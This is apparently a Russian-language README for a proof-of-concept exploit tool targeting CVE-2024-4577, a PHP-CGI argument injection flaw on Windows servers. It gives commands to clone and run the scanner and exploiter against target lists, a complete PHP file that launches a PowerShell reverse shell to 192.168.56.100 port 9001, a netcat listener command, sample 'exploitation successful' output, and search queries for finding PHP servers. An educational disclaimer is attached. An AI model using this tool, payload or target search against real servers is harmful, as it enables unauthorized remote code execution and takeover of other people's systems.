
Эксплойт доказательства концепции для внедрения аргументов PHP CGI (CVE-2024-4577), позволяющий удаленное выполнение кода на уязвимых серверах Windows с возможностями сканирования и обратной оболочки.
В версиях PHP 8.1.* до 8.1.29, 8.2.* до 8.2.20, 8.3.* до 8.3.8 при использовании Apache и PHP-CGI в Windows, если система настроена на использование определенных кодовых страниц, Windows может применять поведение «Best-Fit» для замены символов в командной строке, передаваемой функциям Win32 API. Модуль PHP CGI может неправильно интерпретировать эти символы как опции PHP, что позволяет злоумышленнику передавать опции исполняемому файлу PHP, раскрывая исходный код скриптов, выполняя произвольный PHP-код на сервере и т.д.
«XAMPP уязвим в стандартной конфигурации, и мы можем атаковать конечную точку /php-cgi/php-cgi.exe. Чтобы атаковать конечную точку .php (например, /index.php), сервер должен быть настроен на выполнение PHP-скриптов в режиме CGI».
$ git clone https://github.com/fa-rrel/CVE-2024-4577-RCE/
$ cd CVE-2024-4577-RCE && pip install -r requirements.txt
$ python3 CVE-2024-4577.py -s -t https://target.com/
[!NOTE] Этот инструмент демонстрирует реалистичные атаки и техники (TTP). Однако данный конкретный образец полезной нагрузки не работает в этом сценарии. Измените shell.php, чтобы получить полностью рабочую полезную нагрузку.
# rev_shell.php
<?php
$payload = "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('192.168.56.100', 9001);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\";
exec($payload);
?>
$ python3 CVE-2024-4577.py -s -t https://target.com/
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Цель https://target.com уязвима для CVE-2024-4577
$ python3 CVE-2024-4577.py -t {targetsite.txt} -e -p rev_shell.php
______ _______ ____ ___ ____ _ _ _ _ ____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| || | | || || ___|___ |___ |
| | \ \ / /| _| __) | | | |__) | || |_ _____| || ||___ \ / / / /
| |___ \ V / | |___ / __/| |_| / __/|__ _|_____|__ _|__) |/ / / /
\____| \_/ |_____| |_____|\___/_____| |_| |_||____//_/ /_/
Author: Ghost_sec | Youtube.com/Ghost_sec | Github.com/fa-rrel | POC & Scanning
[+] Эксплуатация прошла успешно!
$ nc -lvnp 9001
server: PHP 8.1, server: PHP 8.2, server: PHP 8.3protocol="http" && header="X-Powered-By: PHP/8.1" || header="X-Powered-By: PHP/8.2" || header="X-Powered-By: PHP/8.3"Этот инструмент предоставляется только для образовательных и исследовательских целей. Создатель не несёт ответственности за любое неправомерное использование или ущерб, причинённый инструментом.